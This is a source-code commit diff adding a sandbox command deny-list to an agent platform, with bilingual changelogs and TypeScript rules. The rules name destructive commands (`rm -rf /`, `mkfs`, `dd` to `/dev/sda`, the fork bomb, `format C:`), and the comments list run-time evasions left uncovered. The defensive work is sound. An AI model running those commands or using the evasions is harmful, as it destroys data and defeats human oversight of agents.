A local-first multi-agent app development platform, built on PenguinHarness
feat(core,server,web): add project sandbox command policy (#374)
Yaowei Zheng35b0abc49306
diff --git a/changelog/unreleased/2026-08-20-sandbox-command-policy.md b/changelog/unreleased/2026-08-20-sandbox-command-policy.mdnew file mode 100644index 00000000..833f3312--- /dev/null+++ b/changelog/unreleased/2026-08-20-sandbox-command-policy.md@@ -0,0 +1,25 @@+# Project sandbox command policy++- **Date:** 2026-08-20+- **Type:** feature+- **Scope:** `core`, `server`, `web`, `docs`+- **PR:** [#374](https://github.com/Prism-Shadow/penguin-harness/pull/374)+- **Breaking:** yes — every project starts denying the factory destructive commands (`rm -rf` and friends) under every approval mode; disable the offending rule (or the whole policy) in Project Settings to restore the old behavior++[中文版](2026-08-20-sandbox-command-policy.zh.md)++Added a Project-level sandbox command policy: a deny-rule list applied at the approval boundary to both tools that reach a shell — the command `exec_command` launches and what `input_command` types into an already-running one — so a hit is rejected under every approval mode, allow-all included, and the model sees `Tool call denied by policy.` instead of a person's cancellation. `Session.run` wraps the injected approval callback with the policy, so the refusal happens before any host is asked and `context_engine` keeps handling nothing but OmniMessage. The rules are stored as the `[command_policy]` block of `.project_config.toml` (Project-owned, so an Agent editing its own configuration cannot reach them) and snapshotted into the Session at creation. The Project settings dialog was rebuilt as a tabbed layout along the way.++## Details++- The rules are plain editable data with no special tiers. The factory set is seeded into each new project like the model presets (copied at creation, never rewritten afterward); a pre-seeding project with no stored list behaves as the factory set until its first saved edit materializes it. Every rule — name, pattern, optional description, per-rule switch — can be edited, disabled, deleted, or added; "Restore defaults" loads the factory set back into the editor and Save writes it.+- Factory set (deliberately small, each entry destructive with no undo): `rm` carrying both a recursive and a force flag, `mkfs`, `dd` writing straight to a block device, the classic fork bomb, and shell redirection onto a block device; `/dev/null` targets stay legal. Four more cover the same five on Windows, where `exec_command` resolves pwsh or cmd: `Remove-Item -Recurse -Force` / `rd /s /q`, `format C:` / `Format-Volume`, a raw write to `\\.\PhysicalDriveN` / `Clear-Disk`, and the cmd fork bomb.+- Ordinary spellings are normalized before the rules run, so plain typing does not slip through: a leading path (`/bin/rm`), a wrapper (`sudo`, `env`, `command`, `nice`, `xargs`), quoting or a backslash escape of the command word (`"rm"`, `r''m`, `\rm`), and a literal `sh -c '<payload>'` all match. Normalization removes quote marks and nothing else — it does not expand, substitute or decode.+- `ApprovalDecision` gains a third value: `"forbidden"` is the command policy's veto, answered by the `Session.run` wrapper and never by a host. The denial output stays one fixed `aborted` line either way — `Tool call denied by user.` or `Tool call denied by policy.` — and the `approval_decision` event carries the decision itself, so the model's text, the Trace viewer and the tool card's decision label all name who denied with no extra field. An existing callback returning `"allow"` / `"deny"` behaves exactly as before.+- New routes `GET|PUT /api/projects/:p/command-policy` (member read / owner write): the GET serves the effective list plus the factory set for restore; the PUT carries the full list and materializes it, rejecting uncompilable patterns up front.+- An accident guardrail, not a security boundary — a statement about pattern matching rather than about this implementation. A command assembled at run time (`$IFS`, `X=rm; $X`, a substitution, `eval`, base64 into a shell, `python -c`, an interpreter reached through a pipe) is deliberately not covered and is not planned to be: shell is a programming language, and each such pattern costs maintenance forever while buying only the appearance of coverage. MCP tools stay out of scope too: the knob that exists there is the per-server `permission` level from [#364](https://github.com/Prism-Shadow/penguin-harness/pull/364), which fixes the level its tools report to the approval mode and deliberately nothing more. For an actual boundary rather than a speed bump, the mechanism is process confinement (bubblewrap / dsh), in progress as [#354](https://github.com/Prism-Shadow/penguin-harness/pull/354); this policy complements it and does not replace it. Documented in Configuration § Command policy.+- Project settings became a tabbed dialog — General (display name, project id, delete), Members (the permission table; the tab is hidden in the single-user desktop app), Defaults (the new-chat defaults block and default model), Security policy (the rule list above) — with a left tab rail and row-styled settings pages.++## Compatibility++Existing and new projects alike begin rejecting the factory destructive commands, even in allow-all mode — routine flows that relied on `rm -rf` (e.g. deleting `node_modules`) get the fixed denial `Tool call denied by policy.`, whether the command is launched with `exec_command` or typed into a running shell with `input_command`. To restore a specific behavior, disable or edit that one rule (or switch the whole policy off) in Project Settings → Security policy; no data migration is involved. Projects created before this change carry no `[command_policy]` block and follow the factory set until their first saved edit writes the list into `.project_config.toml`.diff --git a/changelog/unreleased/2026-08-20-sandbox-command-policy.zh.md b/changelog/unreleased/2026-08-20-sandbox-command-policy.zh.mdnew file mode 100644index 00000000..ffdf1d23--- /dev/null+++ b/changelog/unreleased/2026-08-20-sandbox-command-policy.zh.md@@ -0,0 +1,25 @@+# Project 沙箱安全策略++- **Date:** 2026-08-20+- **Type:** feature+- **Scope:** `core`, `server`, `web`, `docs`+- **PR:** [#374](https://github.com/Prism-Shadow/penguin-harness/pull/374)+- **Breaking:** yes —— 所有 Project 开始在任何审批模式下拒绝出厂集里的毁灭性命令(`rm -rf` 之类);要恢复原有行为,在 Project 设置里停用对应规则或整个策略++[English](2026-08-20-sandbox-command-policy.md)++新增 Project 级沙箱安全策略:一组拒绝规则,在审批边界上对两个能碰到 shell 的工具生效——`exec_command` 启动的命令,以及 `input_command` 敲进已运行命令的内容——命中即拒绝,任何审批模式(包括全部放行)都不能放过,模型看到的是 `Tool call denied by policy.` 而非人工取消。`Session.run` 用策略包装注入进来的审批回调,因此拒绝发生在任何宿主被问到之前,`context_engine` 仍然只处理 OmniMessage。规则存储为 `.project_config.toml` 的 `[command_policy]` 块(Project 所有,Agent 改自己的配置改不到它),并在 Session 创建时读入快照。Project 设置对话框也随之重构为分页布局。++## 细节++- 规则是纯粹可编辑的数据,没有特殊层级。出厂规则集像模型预设一样播种进每个新项目(创建时拷入、之后绝不自动改写);播种前的存量项目(未存列表)按出厂集生效,首次保存编辑即把列表物化进文件。每条规则——name、pattern、可选 description、每条 enabled——都可编辑、停用、删除或新增;「恢复默认」把出厂集读回编辑区,由 Save 落盘。+- 出厂规则集(刻意保持很小,每条都是一旦执行便不可挽回的命令):同时带递归与强制标志的 `rm`、`mkfs`、`dd` 直写块设备、经典 fork bomb、重定向写入块设备;`/dev/null` 类目标仍然合法。另加四条覆盖同样这五类在 Windows 上的写法(`exec_command` 在 Windows 上解析到 pwsh 或 cmd):`Remove-Item -Recurse -Force` / `rd /s /q`、`format C:` / `Format-Volume`、裸写 `\\.\PhysicalDriveN` / `Clear-Disk`、以及 cmd 版 fork bomb。+- 常规写法在套规则之前先做归一化,免得平常的敲法平白漏过去:带路径(`/bin/rm`)、带前缀命令(`sudo`、`env`、`command`、`nice`、`xargs`)、给命令词加引号或反斜杠转义(`"rm"`、`r''m`、`\rm`)、以及字面量形式的 `sh -c '<payload>'` 都会命中。归一化只去掉引号标记,别的什么都不做——不展开、不替换、不解码。+- `ApprovalDecision` 新增第三个取值:`"forbidden"` 是命令策略的拦截,由 `Session.run` 的包装作答、从不出自宿主。两种拒绝的工具输出都是固定的 `aborted` 一句——`Tool call denied by user.` 或 `Tool call denied by policy.`——`approval_decision` 事件携带的就是决定值本身,模型看到的文案、Trace 查看器与工具卡片的决策标签由此都点名拒绝者,无需额外字段。返回 `"allow"` / `"deny"` 的既有回调行为完全不变。+- 新增路由 `GET|PUT /api/projects/:p/command-policy`(成员可读 / owner 可写):GET 返回生效列表并附出厂集供恢复;PUT 携带完整列表并物化落盘,无法编译的 pattern 直接拒绝。+- 防事故护栏,不是安全边界——这句话讲的是模式匹配本身,而不是这份实现。运行期才拼出来的命令(`$IFS`、`X=rm; $X`、命令替换、`eval`、base64 喂给 shell、`python -c`、经管道进入的解释器)刻意不覆盖,将来也不打算覆盖:shell 是一门编程语言,每加一个这样的模式都要从此长期维护,换来的只是覆盖的表象。MCP 工具同样不在范围内:那边现有的旋钮是 [#364](https://github.com/Prism-Shadow/penguin-harness/pull/364) 的 per-server `permission` 等级,它只决定该 Server 的工具向审批模式报告哪个等级,刻意不做更多。要真正的边界而不是减速带,机制是进程隔离(bubblewrap / dsh),正在 [#354](https://github.com/Prism-Shadow/penguin-harness/pull/354) 推进;本策略与之互补,不是替代。见配置文档「沙箱安全策略」一节。+- Project 设置改为分页对话框——通用(显示名、Project ID、删除)、成员(权限表;单用户桌面版隐藏该页)、默认值(新对话默认值与默认模型)、安全策略(上述规则列表)——左侧页签导航,右侧行式设置页。++## 兼容性++存量与新建 Project 都会开始拒绝出厂集里的毁灭性命令,即使在全部放行模式下——依赖 `rm -rf` 的日常操作(如删除 `node_modules`)会收到固定拒绝文案 `Tool call denied by policy.`,无论是经 `exec_command` 启动,还是用 `input_command` 敲进已运行的 shell。要恢复某个具体行为,可在 Project 设置 → 安全策略中停用或编辑对应那一条规则(或整体关闭策略);不涉及数据迁移。本改动之前创建的项目没有 `[command_policy]` 块,按出厂集生效,首次保存编辑时列表才写入 `.project_config.toml`。diff --git a/packages/cli/src/i18n.ts b/packages/cli/src/i18n.tsindex c9c0fb37..b34fdf9b 100644--- a/packages/cli/src/i18n.ts+++ b/packages/cli/src/i18n.ts@@ -260,7 +260,7 @@ export interface Messages {/** Prompt for an invalid --approve mode. */approveModeInvalid(value: string): string;/** Render label for an approval decision (frontend renders the approval_decision event; one label each for allow/deny). */- approvalDecision(decision: "allow" | "deny"): string;+ approvalDecision(decision: "allow" | "deny" | "forbidden"): string;/** run/chat given only one of --model-id / --provider: a model reference is always an explicit pair, never a lookup. */modelRefIncomplete(): string;/** --resume is mutually exclusive with --workspace/--model-id (neither can change once the Session is created). */@@ -565,7 +565,12 @@ const en: Messages = {toolOutputElided: (hidden) => `… (+${hidden} lines, /verbose for full output)`,approveModeInvalid: (value) =>`Invalid approval mode "${value}". Use allow-all, deny-all, read-only, or always-ask.`,- approvalDecision: (decision) => (decision === "allow" ? "✓ [approved]" : "× [denied]"),+ approvalDecision: (decision) =>+ decision === "allow"+ ? "✓ [approved]"+ : decision === "forbidden"+ ? "× [forbidden by policy]"+ : "× [denied]",modelRefIncomplete: () =>"--model-id and --provider must be given together: a model reference is always an explicit (provider, model_id) pair. Omit both to use the Project default model.",resumeNoOverride: () =>@@ -833,7 +838,8 @@ const zh: Messages = {toolOutputElided: (hidden) => `……(另有 ${hidden} 行,/verbose 显示完整输出)`,approveModeInvalid: (value) =>`无效的审批模式 "${value}"。请使用 allow-all、deny-all、read-only 或 always-ask。`,- approvalDecision: (decision) => (decision === "allow" ? "✓ [已批准]" : "× [已拒绝]"),+ approvalDecision: (decision) =>+ decision === "allow" ? "✓ [已批准]" : decision === "forbidden" ? "× [策略禁止]" : "× [已拒绝]",modelRefIncomplete: () =>"--model-id 与 --provider 必须成对给出:模型引用始终是显式的 (provider, model_id) 组合。两者都不给则使用 Project 默认模型。",resumeNoOverride: () =>diff --git a/packages/core/src/agent.ts b/packages/core/src/agent.tsindex 94a88f48..29307803 100644--- a/packages/core/src/agent.ts+++ b/packages/core/src/agent.ts@@ -364,6 +364,12 @@ export class Agent {...(this.state.systemConfig.max_turns !== undefined? { maxTurns: this.state.systemConfig.max_turns }: {}),+ // Sandbox command policy snapshot: Project-owned (never Agent State), read once per+ // Session so the running Session's copy cannot be edited from inside it. Absent+ // config means the factory rule set, on.+ ...(this.projectConfig.command_policy !== undefined+ ? { commandPolicy: this.projectConfig.command_policy }+ : {}),});}@@ -550,6 +556,11 @@ export class Agent {...(this.state.systemConfig.max_turns !== undefined? { maxTurns: this.state.systemConfig.max_turns }: {}),+ // Same policy snapshot as createSession: a resumed Session re-reads the current+ // Project config, so a policy edit takes effect from the next load.+ ...(this.projectConfig.command_policy !== undefined+ ? { commandPolicy: this.projectConfig.command_policy }+ : {}),// session_meta is already in the original Trace file, so it isn't rewritten; on the first write after a compaction-triggered rotation, the file is split first.metaAlreadyWritten: true,initialEngineState: {diff --git a/packages/core/src/engine/context-engine.ts b/packages/core/src/engine/context-engine.tsindex 6af9c9cf..c12542d8 100644--- a/packages/core/src/engine/context-engine.ts+++ b/packages/core/src/engine/context-engine.ts@@ -1188,10 +1188,15 @@ export class ContextEngine {queue.push(decisionMsg);await this.write(decisionMsg);if (decision !== "allow") {- // User denied: feed back an aborted output, indicating the tool call was- // manually canceled.+ // Denied: feed back an aborted output immediately, so the already-committed+ // tool_use never dangles. One fixed line either way — the wording names the+ // decider ("forbidden" is the command policy's answer, via the Session+ // wrapper), and the approval_decision event above carries the decision itself.const denied = toolCallOutput({- output: "Tool call denied by user.",+ output:+ decision === "forbidden"+ ? "Tool call denied by policy."+ : "Tool call denied by user.",toolCallId,stopReason: "aborted",});diff --git a/packages/core/src/environment/tools/input-command.ts b/packages/core/src/environment/tools/input-command.tsindex 8f5e3b5b..e9ec4198 100644--- a/packages/core/src/environment/tools/input-command.ts+++ b/packages/core/src/environment/tools/input-command.ts@@ -28,8 +28,8 @@ import { clampYield } from "./background/index.js";/** Tool name constant. */export const INPUT_COMMAND_NAME = "input_command";-/** Ctrl-C: the ETX control character (U+0003). Received alone, it sends SIGINT to the process group instead of writing the byte into stdin. */-const INTERRUPT = String.fromCharCode(3); // U+0003 (ETX)+/** Ctrl-C: the ETX control character (U+0003). Received alone, it sends SIGINT to the process group instead of writing the byte into stdin (so the command policy exempts it — it is not typed text). */+export const INTERRUPT = String.fromCharCode(3); // U+0003 (ETX)export function createInputCommandTool(definition: ToolDefinitionConfig,diff --git a/packages/core/src/interfaces.ts b/packages/core/src/interfaces.tsindex 924aca76..8404d1c1 100644--- a/packages/core/src/interfaces.ts+++ b/packages/core/src/interfaces.ts@@ -93,10 +93,48 @@ export interface ToolConfig {* Per-tool approval callback: the Human boundary gives allow/deny for each complete `tool_call`.* `context_engine` calls it once per tool call within a turn. Subagents forward the parent's* approval callback, so the child Agent **inherits the parent Agent's approval mode**.+ * The third decision, `"forbidden"`, is never a host's answer: `Session.run` wraps the+ * injected callback with the project sandbox command policy (see {@link CommandPolicyConfig}),+ * and a vetoed call answers `"forbidden"` without the wrapped callback being consulted.* Docs: /docs/interfaces § "ApproveFn".*/export type ApproveFn = (toolCall: OmniMessage<ToolCallPayload>) => Promise<ApprovalDecision>;+/**+ * One command-policy deny rule — plain project-editable data: a name (identifies the rule+ * in the settings UI), a regex source tested against the whitespace-normalized command, an+ * optional free-text description, and a per-rule switch.+ * Docs: /docs/configuration § "Command policy".+ */+export interface CommandPolicyRule {+ name: string;+ /** JavaScript regex source (no flags). */+ pattern: string;+ /** What the rule catches (free text, shown in the settings UI). */+ description?: string;+ /** Per-rule switch; absent = true. */+ enabled?: boolean;+}++/**+ * The project sandbox command policy (the `[command_policy]` block of+ * `.project_config.toml`, threaded into every Session the Agent creates). `Session.run`+ * wraps the injected approval callback with it, so a hit is denied without the human being+ * asked — under every approval mode. It is Project-owned security config, deliberately+ * outside Agent State so the Agent cannot rewrite it. The factory rule set is seeded into+ * new projects like model presets (copied at creation, never rewritten); an absent config+ * or an absent `rules` list means the factory set applies, and `enabled: false` switches+ * the whole policy off. An accident guardrail, not a security boundary — see+ * internal/command-policy.ts for what walks past it.+ * Docs: /docs/configuration § "Command policy".+ */+export interface CommandPolicyConfig {+ /** Master switch; absent = true. */+ enabled?: boolean;+ /** The deny-rule list, evaluated in order; absent = the factory set (a stored empty list means no rules). */+ rules?: CommandPolicyRule[];+}+// ---------------------------------------------------------------------------// LLM interface// ---------------------------------------------------------------------------diff --git a/packages/core/src/internal/command-policy.ts b/packages/core/src/internal/command-policy.tsnew file mode 100644index 00000000..05961e32--- /dev/null+++ b/packages/core/src/internal/command-policy.ts@@ -0,0 +1,164 @@+/**+ * Command policy — the project-level sandbox guardrail for shell commands.+ *+ * A deny-rule list the Session applies to the **injected approval callback**: `Session.run`+ * wraps `RunOptions.approve` with `withCommandPolicy`, so a matching command answers "deny"+ * without the human being consulted, and the policy therefore outranks every approval mode,+ * allow-all included. Nothing about it reaches `context_engine`, which keeps doing what it+ * always did — ask the approval boundary, record the decision, feed a denied call its+ * terminal output.+ *+ * Both tools that reach a shell are checked: `exec_command`'s `cmd` (the launch) and+ * `input_command`'s `chars` (what gets typed into an already-running one). Guarding only the+ * first would have made the guardrail exactly one interpreter launch deep — start `bash`,+ * which matches nothing, then type. The one exemption is a lone `\u0003`, which the tool+ * turns into SIGINT rather than writing it to stdin.+ *+ * The config lives in `.project_config.toml` (`[command_policy]`) — Project-owned on purpose:+ * security policy belongs to the Project, not to Agent State the Agent itself can rewrite.+ * The Session receives a parsed snapshot at creation, so the running Session's policy cannot+ * be edited from inside the Session.+ *+ * The rules are **data, not code**: every rule (name / pattern / description / enabled) is+ * project-editable, and the factory set (state/command-policy-defaults.ts) is *seeded* into+ * new projects' config the same way model presets are — copied in at creation, never+ * rewritten afterward. A config without a `rules` list behaves as the factory set+ * (pre-seeding projects); the first saved edit materializes the list into the file.+ *+ * This is an **accident guardrail, not a security boundary**, and the distinction is not+ * modesty: shell is a programming language, and deciding what a program will do by matching+ * its text before it runs is not a thing more rules get closer to. What the rules do cover is+ * ordinary typing — a path (`/bin/rm`), a wrapper (`sudo`, `env`, `xargs`), quoting or a+ * backslash escape of the command word, and a literal `sh -c '<payload>'` — because those are+ * spellings a model reaches for by habit, not evasion. What they deliberately do not cover is+ * anything that computes the command at run time: `$IFS` splicing, `X=rm; $X`, `eval`,+ * base64 into a shell, `python -c`, an interpreter reached through a pipe. Each of those+ * would take a pattern that costs maintenance and buys only the appearance of coverage.+ *+ * MCP tools are out of scope by design. The per-server `permission` level is what exists for+ * that surface, and it only fixes the level a Server's tools report to the approval mode — it+ * confines nothing. For an actual boundary rather than a speed bump, the+ * confinement interface (bubblewrap / dsh) is the mechanism; this policy is complementary to+ * it and no substitute.+ * Docs: /docs/configuration § "Command policy".+ */+import type { ApproveFn, CommandPolicyConfig, CommandPolicyRule } from "../interfaces.js";+import { effectiveCommandPolicyRules } from "../state/command-policy-defaults.js";+import { EXEC_COMMAND_NAME } from "../environment/tools/exec-command.js";+import { INPUT_COMMAND_NAME, INTERRUPT } from "../environment/tools/input-command.js";++/** A command-policy hit: the matched rule's name. */+export interface CommandPolicyVeto {+ rule: string;+}++/** Collapses whitespace runs to single spaces (the only normalization rule patterns may assume). */+function normalizeCommand(cmd: string): string {+ return cmd.replace(/\s+/g, " ").trim();+}++/**+ * The spellings a rule is tested against: the command as written, plus — when it differs —+ * the same text with shell quoting removed (`'` / `"` dropped, `\x` reduced to `x`). Quoting+ * is where the plain spellings hide: `"rm" -rf /`, `r''m -rf /`, `\rm -rf /`, and the literal+ * `sh -c 'rm -rf /'` are all the unquoted text once the marks come off. Both are tested, so+ * unquoting can only add matches, never drop one a rule would otherwise make.+ *+ * This is a normalization, not an evaluation: it does not expand a variable, run a+ * substitution, or decode anything, so a command assembled at run time still walks past.+ */+function commandVariants(cmd: string): string[] {+ const literal = normalizeCommand(cmd);+ const unquoted = normalizeCommand(cmd.replace(/\\(.)/g, "$1").replace(/['"]/g, ""));+ return unquoted === literal ? [literal] : [literal, unquoted];+}++/**+ * Compiles a rule's pattern, returning null for an invalid regex instead of throwing: a+ * broken rule must not take the whole policy (or the Session) down with it. Write paths+ * validate patterns up front (the server rejects an uncompilable rule), so this only fires+ * for hand-placed data.+ */+function compileRule(rule: CommandPolicyRule): RegExp | null {+ try {+ return new RegExp(rule.pattern);+ } catch {+ return null;+ }+}++/**+ * Evaluates one command against the policy: the first matching enabled rule wins, in list+ * order. Returns null when the policy is disabled or nothing matches. An absent config or+ * an absent `rules` list means the factory set (a project from before the block was+ * seeded, or an SDK embedder passing no policy).+ */+export function evaluateCommandPolicy(+ cmd: string,+ policy?: CommandPolicyConfig,+): CommandPolicyVeto | null {+ if (policy?.enabled === false) return null;+ const variants = commandVariants(cmd);+ if (variants[0] === "") return null;+ for (const rule of effectiveCommandPolicyRules(policy)) {+ if (rule.enabled === false) continue;+ const re = compileRule(rule);+ if (re && variants.some((v) => re.test(v))) {+ return { rule: rule.name };+ }+ }+ return null;+}++/**+ * The argument that carries shell text, per tool: `exec_command` launches one (`cmd`) and+ * `input_command` types into one already running (`chars`). Every other tool — MCP included —+ * is not the policy's business.+ */+const SHELL_TEXT_ARGUMENT: Readonly<Record<string, string>> = {+ [EXEC_COMMAND_NAME]: "cmd",+ [INPUT_COMMAND_NAME]: "chars",+};++/**+ * Policy gate for one tool call, keyed by tool name: the tool's shell-text argument is+ * evaluated, and anything else passes. A lone `\u0003` is exempt — `input_command`+ * special-cases it into SIGINT rather than writing it to stdin, so it is a Ctrl-C, not a+ * command. `argsJson` is the tool_call's raw argument JSON; malformed JSON or a+ * malformed argument is the tool's own validation error, not a policy hit.+ */+export function vetoForToolCall(+ toolName: string,+ argsJson: string,+ policy?: CommandPolicyConfig,+): CommandPolicyVeto | null {+ const key = SHELL_TEXT_ARGUMENT[toolName];+ if (key === undefined) return null;+ let args: unknown;+ try {+ args = JSON.parse(argsJson) as unknown;+ } catch {+ return null;+ }+ if (args === null || typeof args !== "object" || Array.isArray(args)) return null;+ const text = (args as Record<string, unknown>)[key];+ if (typeof text !== "string") return null;+ if (text === INTERRUPT) return null;+ return evaluateCommandPolicy(text, policy);+}++/**+ * Wraps an approval callback with the policy: a vetoed call answers `"forbidden"` here and+ * `approve` is never reached, so no approval mode — and no Human implementation — can let+ * it through. `"forbidden"` is the decision's own third value: the engine renders it as+ * the fixed aborted line "Tool call denied by policy." (a person's denial reads "by+ * user."), and the `approval_decision` event carries it — the model's text and the Trace+ * both name the decider.+ */+export function withCommandPolicy(approve: ApproveFn, policy?: CommandPolicyConfig): ApproveFn {+ return async (toolCall) => {+ const veto = vetoForToolCall(toolCall.payload.name, toolCall.payload.arguments, policy);+ if (veto) return "forbidden";+ return approve(toolCall);+ };+}diff --git a/packages/core/src/omnimessage/types.ts b/packages/core/src/omnimessage/types.tsindex 539f7aa0..3a9cdb48 100644--- a/packages/core/src/omnimessage/types.ts+++ b/packages/core/src/omnimessage/types.ts@@ -58,7 +58,15 @@ export type StreamEventType = "start" | "delta" | "stop";export type MessageOrigin = string;/** The approval decision for a tool call. */-export type ApprovalDecision = "allow" | "deny";+/**+ * Per-tool approval decision. `"allow"` and `"deny"` are the Human boundary's answers;+ * `"forbidden"` is the project command policy's veto, produced by the `Session.run`+ * wrapper without the host being asked. Every non-allow decision feeds the model one+ * fixed `aborted` output line whose wording names the decider ("Tool call denied by+ * user." / "Tool call denied by policy."), and the `approval_decision` event carries the+ * decision itself — the Trace already says who denied.+ */+export type ApprovalDecision = "allow" | "deny" | "forbidden";/** Token counts (input/output/cache/total). */export interface TokenCounts {diff --git a/packages/core/src/session.ts b/packages/core/src/session.tsindex 98d16e18..ac0db942 100644--- a/packages/core/src/session.ts+++ b/packages/core/src/session.ts@@ -39,10 +39,12 @@ import { goalFinishedOf } from "./goal/goal-stream.js";import type {BackgroundCommandInfo,BackgroundTaskDoneEvent,+ CommandPolicyConfig,EnvironmentInterface,LLMInterface,ToolPermission,} from "./interfaces.js";+import { withCommandPolicy } from "./internal/command-policy.js";import { generateTitleWithLLM } from "./internal/session-title.js";import type { SessionTitleResult } from "./internal/session-title.js";import { compactAvailability, ContextEngine } from "./engine/context-engine.js";@@ -114,6 +116,15 @@ export interface SessionConfig {* (`run(input, { goal })`) is unavailable without it.*/goalFilePath?: string;+ /**+ * Project sandbox command policy (`[command_policy]` of `.project_config.toml`): a+ * snapshot taken when the Agent built this Session, so the Agent's own file tools cannot+ * reach the effective copy. `run` wraps the injected approval callback with it — the+ * refusal happens at the approval boundary, above every approval mode and below no+ * Human implementation. Absent = the factory rule set applies; `{ enabled: false }` opts+ * out. Docs: /docs/configuration § "Command policy".+ */+ commandPolicy?: CommandPolicyConfig;}/** Options of a goal-mode `run` (`opts.goal`): present = the input starts a goal loop. */@@ -244,6 +255,7 @@ export class Session {private readonly imagesDir: string;private readonly modelHasVision: boolean;private readonly goalFile?: string;+ private readonly commandPolicy?: CommandPolicyConfig;private metaWritten = false;/*** The image fold, bound to this Session's scratchpad — Session is the layer that knows both@@ -286,6 +298,7 @@ export class Session {this.imagesDir = config.imagesDir;this.modelHasVision = config.modelHasVision;if (config.goalFilePath) this.goalFile = config.goalFilePath;+ if (config.commandPolicy) this.commandPolicy = config.commandPolicy;this.bootstrap = config.bootstrap;this.cancelBootstrap = config.cancelBootstrap;this.mcpServers = config.mcpServers;@@ -345,6 +358,15 @@ export class Session {* Docs: /docs/goal-mode.*/async *run(newMessages: OmniMessage[], opts?: SessionRunOptions): AsyncGenerator<OmniMessage> {+ // The sandbox command policy is applied here, at the Human boundary itself: the+ // injected callback is wrapped so a vetoed command is refused before the host is ever+ // asked, which is what makes the policy outrank every approval mode — no host, and no+ // approval mode, gets a say. Wrapped once for both a plain Task and every goal round;+ // a child Session wraps its own forwarded callback again, harmlessly. With no callback+ // at all the engine denies everything anyway, so there is nothing to guard.+ if (opts?.approve) {+ opts = { ...opts, approve: withCommandPolicy(opts.approve, this.commandPolicy) };+ }if (opts?.goal) {// Rounds run with the caller's per-call options minus `goal` (each round is a plain Task).const { goal, ...roundOpts } = opts;diff --git a/packages/core/src/state/command-policy-defaults.ts b/packages/core/src/state/command-policy-defaults.tsnew file mode 100644index 00000000..c86b8453--- /dev/null+++ b/packages/core/src/state/command-policy-defaults.ts@@ -0,0 +1,126 @@+/**+ * Factory command-policy rules — the seed data for a new project's `[command_policy]`+ * block, kept next to the other seeded catalogs (model-catalog.ts, default-config.ts):+ * `defaultProjectConfig` copies them into every new project, and the enforcement side+ * reads the same constant as its "absent = factory set" fallback. Types only, no+ * behavior — so nothing here can drag the tool chain into the state module.+ *+ * Kept deliberately small — every entry is a command whose verbatim execution is+ * destructive with no undo, so a false negative is worse than the occasional false+ * positive. Each pattern assumes the command has been whitespace-normalized (runs+ * collapsed to single spaces) and never crosses a `;`, `|` or `&` separator.+ * Descriptions are stored data (project-editable after seeding), so they are plain+ * English like the rest of the config file.+ */+import type { CommandPolicyConfig, CommandPolicyRule } from "../interfaces.js";++/**+ * THE single "absent = factory set" fallback: every consumer of the rule list —+ * enforcement (evaluateCommandPolicy), the server's GET, and seeding-adjacent display —+ * resolves it through here, so the fallback semantics cannot fork.+ */+export function effectiveCommandPolicyRules(+ policy?: CommandPolicyConfig,+): readonly CommandPolicyRule[] {+ return policy?.rules ?? DEFAULT_COMMAND_POLICY_RULES;+}++/**+ * Block devices whose overwrite is unrecoverable — shared by the `dd` and shell-redirect+ * factory rules. Deliberately excludes `null` / `zero` / `stdout` and friends:+ * `dd of=/dev/null` is a common benchmarking idiom, not an accident. The trailing+ * `[a-zA-Z0-9]*` is greedy, so the token is already consumed to its end and neither rule+ * needs a boundary assertion after it — which is what lets `of=/dev/sda; sync` match.+ */+const BLOCK_DEVICES = "(?:sd|hd|vd|xvd|nvme|mmcblk|loop|disk|rdisk)[a-zA-Z0-9]*";++/**+ * Command-word prefix: a separator (or the start), then the optional directory part of a+ * path. `/bin/rm` and `/sbin/mkfs.ext4` are ordinary spellings — `mkfs` in particular is+ * usually reached by path — so a rule that only anchors on the bare word misses the plain+ * case, never mind an evasive one.+ */+const CMD_START = "(?:^|[\\s;&|(])(?:[^\\s;&|]*/)?";++/** An operand may be quoted: `of="/dev/sda"` and `> '/dev/sda'` are the same write. */+const QUOTE = "[\"']?";++/**+ * The raw physical-disk device on Windows (`\\.\PhysicalDrive0`) — what `/dev/sda` is on a+ * POSIX host, and destroyed the same way by a raw write.+ */+const WINDOWS_RAW_DISK = "\\\\\\\\\\.\\\\(?i:physicaldrive)[0-9]+";++export const DEFAULT_COMMAND_POLICY_RULES: readonly CommandPolicyRule[] = [+ {+ name: "rm-recursive-force",+ // `rm` with both a recursive and a force flag anywhere in the same command segment:+ // `-rf`, `-fr`, `-r -f`, `-Rf`, `-rF`, `--recursive --force`, with or without `sudo` or+ // a leading path. The two lookaheads scan the segment independently so flag order and+ // grouping don't matter; each flag token must end at a word break so `-rf` matches but+ // `--red-flag` doesn't.+ pattern: `${CMD_START}rm(?=(?:\\s[^;&|]*)?\\s-(?:[a-zA-Z]*[rR][a-zA-Z]*|-recursive)(?:\\s|$))(?=(?:\\s[^;&|]*)?\\s-(?:[a-zA-Z]*[fF][a-zA-Z]*|-force)(?:\\s|$))`,+ description: "rm with recursive + force flags in one command (rm -rf and friends)",+ },+ {+ name: "mkfs",+ // Formatting a filesystem (`mkfs`, `mkfs.ext4`, `/sbin/mkfs.ext4`, …) destroys the+ // target wholesale. The word itself is the risk signal, so the rule also fires on a+ // file merely named `mkfs.sh` — a false positive the guardrail accepts.+ pattern: `${CMD_START}mkfs(?:\\.[a-zA-Z0-9]+)?(?![a-zA-Z0-9])`,+ description: "mkfs — formatting a filesystem destroys it wholesale",+ },+ {+ name: "dd-to-block-device",+ // `dd` writing straight to a block device. `of=/dev/null` stays legal (see BLOCK_DEVICES).+ pattern: `${CMD_START}dd\\s[^;&|]*\\bof=${QUOTE}/dev/${BLOCK_DEVICES}`,+ description: "dd writing directly to a block device (of=/dev/null stays allowed)",+ },+ {+ name: "fork-bomb",+ // The classic `:(){ :|:& };:` — exhausts the process table in seconds. Bash allows+ // whitespace inside the function definition, so every token boundary takes `\s*`.+ pattern: ":\\s*\\(\\s*\\)\\s*\\{\\s*:\\s*\\|\\s*:\\s*&\\s*\\}\\s*;\\s*:",+ description: "the classic fork bomb — exhausts the process table in seconds",+ },+ {+ name: "overwrite-block-device",+ // Shell redirection onto a block device (`> /dev/sda`); `/dev/null` etc. stay legal.+ pattern: `>\\s*${QUOTE}/dev/${BLOCK_DEVICES}`,+ description: "shell redirection onto a block device (/dev/null stays allowed)",+ },+ // The four below are the Windows counterparts of the five above — no new command classes,+ // just the same destruction spelled for pwsh and cmd, which `shell.ts` will happily resolve.+ // Patterns are case-insensitive inline (`(?i:…)`) because both shells are.+ {+ name: "windows-recursive-delete",+ // PowerShell `Remove-Item … -Recurse … -Force` (order-independent, `-Rec`/`-r`/`-f`+ // abbreviations included) and the cmd forms `rd|rmdir|del|erase … /s … /q`. 